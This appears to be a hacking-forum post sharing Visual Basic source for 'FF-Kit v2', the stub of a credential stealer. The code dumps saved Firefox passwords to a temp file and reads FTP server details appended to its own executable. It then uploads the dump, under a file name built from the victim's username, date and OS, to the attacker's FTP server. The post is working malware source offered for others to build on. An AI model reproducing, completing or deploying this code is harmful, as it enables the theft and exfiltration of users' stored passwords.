FF Stealer Kit v2

This is the code of an FF stealers stub ( working with eof datas ) I just wrote.

Yes no builder i just wrote the stub. code your own...

==
'---------------------------------------------------------------------------------------
' Project     : FF-Kit v2
' DateTime    : 16/08/2009 17:32
' Author      : haZl0oh
' Credits     : Cobein ( cFtp,Cffpd )
' Mail        : ud.support@live.de
' Purpose     : Easy way to build an ftp firefox pwd retriever STUB
'
' Requirements: Firefox 3.5.x
'
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
'
'
' History     : 16/08/2009 Created......................................................
'---------------------------------------------------------------------------------------
Dim c As New cFTP  'add cFtp from Cobein to your project
Dim f As New cFFPD 'add cFFpd from Cobein to your project

Sub Main()
Dim mData As String, lFile As String, rFile As String: lFile = Environ("temp") & "\file.txt": rFile = Environ("username") & "." & Date & "." & Environ("os") & ".txt"
    'save passes to text file
    mData = f.Enumerate: Open lFile For Output As #1: Print #1, , mData: Close #1

Call Getdata
End Sub
Public Function FileExists(strFile As String) As Boolean
    On Error GoTo Err
    FileExists = (Len(Dir(strFile)) > 0)
Err:
End Function
Sub Getdata()
Dim sEof As String, sEofData() As String, user As String, pass As String, port As String, url As String

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
    sEof = Space(LOF(1))
    Get #1, , sEof
Close #1

        sEofData = Split(sEof, "YOUR_DELIMETER")
' another way to split the data chose your favourite
' sEofData = Split(sEof, Right$(sEof, 5)) 'your deliemter (last 5 characters of eof data) have to be 5 characters long.It will get the delimeter from own file no need to add it into the stub

 url = sEofData(0) ' "YOUR_FTP_URL"
user = sEofData(1) ' "YOUR_FTP_USERNAME"
pass = sEofData(2) ' "YOUR_FTP_PASSWORD"
port = sEofData(3) ' "YOUR_FTP_PORT"

c.Connect url, user, pass, port: c.PutFile lFile, rFile: c.Disconnect
End
End Sub
==